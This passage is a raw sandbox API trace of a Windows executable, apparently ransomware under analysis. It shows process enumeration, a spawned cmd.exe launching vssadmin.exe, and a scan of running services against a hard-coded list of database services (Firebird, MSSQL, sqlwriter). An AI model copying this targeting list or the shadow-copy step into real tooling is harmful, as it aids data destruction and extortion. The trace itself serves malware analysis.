pcPriClassBase=8, dwFlags=0x0, szExeFile="valve tabs intelligent.exe")) returned 1 [0065.894] lstrlenW (lpString="valve tabs intelligent.exe") returned 26 [0065.894] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bangkok-updates.exe")) returned 1 [0065.895] lstrlenW (lpString="bangkok-updates.exe") returned 19 [0065.895] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="scan-allows.exe")) returned 1 [0065.895] lstrlenW (lpString="scan-allows.exe") returned 15 [0065.896] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mwprovince.exe")) returned 1 [0065.896] lstrlenW (lpString="mwprovince.exe") returned 14 [0065.896] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hired_reality_again.exe")) returned 1 [0065.897] lstrlenW (lpString="hired_reality_again.exe") returned 23 [0065.897] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sharonphonedebut.exe")) returned 1 [0065.897] lstrlenW (lpString="sharonphonedebut.exe") returned 20 [0065.897] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="contacting.exe")) returned 1 [0065.898] lstrlenW (lpString="contacting.exe") returned 14 [0065.898] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="continues_does_laos.exe")) returned 1 [0065.898] lstrlenW (lpString="continues_does_laos.exe") returned 23 [0065.898] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="jpmanagers.exe")) returned 1 [0065.899] lstrlenW (lpString="jpmanagers.exe") returned 14 [0065.899] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="motor.exe")) returned 1 [0065.900] lstrlenW (lpString="motor.exe") returned 9 [0065.900] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="comboashleyalan.exe")) returned 1 [0065.900] lstrlenW (lpString="comboashleyalan.exe") returned 19 [0065.900] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="toshiba.exe")) returned 1 [0065.901] lstrlenW (lpString="toshiba.exe") returned 11 [0065.901] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0065.901] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0065.901] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0065.902] lstrlenW (lpString="3G6885.exe") returned 10 [0065.902] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x99c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0065.902] lstrlenW (lpString="cmd.exe") returned 7 [0065.902] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0065.903] lstrlenW (lpString="conhost.exe") returned 11 [0065.903] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0065.903] lstrlenW (lpString="vssadmin.exe") returned 12 [0065.904] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0065.904] lstrlenW (lpString="VSSVC.exe") returned 9 [0065.904] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.905] lstrlenW (lpString="svchost.exe") returned 11 [0065.905] Process32NextW (in: hSnapshot=0x1a0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0065.905] CloseHandle (hObject=0x1a0) returned 1 [0065.906] Sleep (dwMilliseconds=0x1f4) [0066.478] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x640238 [0066.478] EnumServicesStatusExW (in: hSCManager=0x640238, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0) returned 0 [0066.478] GetLastError () returned 0xea [0066.479] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x12c6) returned 0x3f93008 [0066.479] EnumServicesStatusExW (in: hSCManager=0x640238, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3f93008, cbBufSize=0x12c6, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3f93008, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0) returned 1 [0066.479] CloseServiceHandle (hSCObject=0x640238) returned 1 [0066.480] lstrlenW (lpString="Appinfo") returned 7 [0066.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0066.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0066.480] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0066.480] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0066.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0066.480] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0066.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0066.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0066.480] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0066.480] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0066.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0066.480] lstrlenW (lpString="AudioSrv") returned 8 [0066.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0066.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0066.480] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0066.480] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0066.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0066.480] lstrlenW (lpString="BFE") returned 3 [0066.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0066.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0066.480] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0066.480] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0066.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0066.480] lstrlenW (lpString="CryptSvc") returned 8 [0066.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0066.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0066.480] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0066.480] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0066.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0066.480] lstrlenW (lpString="CscService") returned 10 [0066.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0066.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0066.481] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0066.481] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0066.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0066.481] lstrlenW (lpString="DcomLaunch") returned 10 [0066.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0066.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0066.481] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0066.481] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0066.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0066.481] lstrlenW (lpString="Dhcp") returned 4 [0066.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0066.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0066.481] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0066.481] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0066.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0066.481] lstrlenW (lpString="Dnscache") returned 8 [0066.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0066.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0066.481] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0066.481] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0066.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0066.481] lstrlenW (lpString="DPS") returned 3 [0066.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0066.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0066.481] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0066.481] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0066.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0066.481] lstrlenW (lpString="eventlog") returned 8 [0066.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0066.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0066.481] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0066.482] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0066.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0066.482] lstrlenW (lpString="EventSystem") returned 11 [0066.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0066.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0066.482] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0066.482] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0066.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0066.482] lstrlenW (lpString="gpsvc") returned 5 [0066.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0066.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0066.482] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0066.482] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0066.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0066.482] lstrlenW (lpString="iphlpsvc") returned 8 [0066.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0066.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0066.482] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0066.482] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0066.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0066.482] lstrlenW (lpString="LanmanServer") returned 12 [0066.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0066.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0066.482] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0066.482] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0066.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0066.482] lstrlenW (lpString="LanmanWorkstation") returned 17 [0066.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0066.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0066.483] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0066.483] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0066.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0066.483] lstrlenW (lpString="lmhosts") returned 7 [0066.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0066.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0066.483] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0066.483] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0066.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0066.483] lstrlenW (lpString="MMCSS") returned 5 [0066.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0066.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0066.483] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0066.483] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0066.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0066.483] lstrlenW (lpString="MpsSvc") returned 6 [0066.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0066.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0066.483] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0066.483] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0066.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0066.483] lstrlenW (lpString="Netman") returned 6 [0066.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0066.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0066.483] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0066.483] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0066.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0066.483] lstrlenW (lpString="netprofm") returned 8 [0066.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0066.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0066.483] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0066.484] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0066.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0066.484] lstrlenW (lpString="NlaSvc") returned 6 [0066.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0066.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0066.484] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0066.484] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0066.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0066.484] lstrlenW (lpString="nsi") returned 3 [0066.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0066.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0066.484] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0066.484] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0066.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0066.484] lstrlenW (lpString="PcaSvc") returned 6 [0066.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0066.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0066.484] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0066.484] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0066.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0066.484] lstrlenW (lpString="PlugPlay") returned 8 [0066.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0066.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0066.484] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0066.484] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0066.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0066.484] lstrlenW (lpString="Power") returned 5 [0066.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0066.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0066.484] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0066.484] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0066.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0066.484] lstrlenW (lpString="ProfSvc") returned 7 [0066.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0066.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0066.485] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0066.485] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0066.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0066.485] lstrlenW (lpString="RpcEptMapper") returned 12 [0066.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0066.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0066.485] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0066.485] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0066.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0066.485] lstrlenW (lpString="RpcSs") returned 5 [0066.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0066.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0066.485] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0066.485] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0066.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0066.485] lstrlenW (lpString="SamSs") returned 5 [0066.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0066.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0066.485] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0066.485] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0066.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0066.485] lstrlenW (lpString="Schedule") returned 8 [0066.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0066.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0066.485] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0066.485] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0066.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0066.485] lstrlenW (lpString="SENS") returned 4 [0066.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0066.486] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0066.486] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0066.486] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0066.486] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0066.486] lstrlenW (lpString="ShellHWDetection") returned 16 [0066.486] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0066.486] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0066.486] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0066.486] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0066.486] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0066.486] lstrlenW (lpString="Spooler") returned 7 [0066.486] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0066.486] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0066.486] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0066.486] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0066.486] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0066.486] lstrlenW (lpString="swprv") returned 5 [0066.486] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0066.486] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0066.486] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0066.486] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0066.486] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0066.486] lstrlenW (lpString="SysMain") returned 7 [0066.486] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0066.486] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0066.486] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0066.486] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0066.486] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0066.486] lstrlenW (lpString="Themes") returned 6 [0066.486] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0066.486] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0066.486] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0066.486] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0066.487] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0066.487] lstrlenW (lpString="TrkWks") returned 6 [0066.487] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0066.487] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0066.487] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0066.487] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0066.487] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0066.487] lstrlenW (lpString="UxSms") returned 5 [0066.487] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0066.487] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0066.487] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0066.487] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 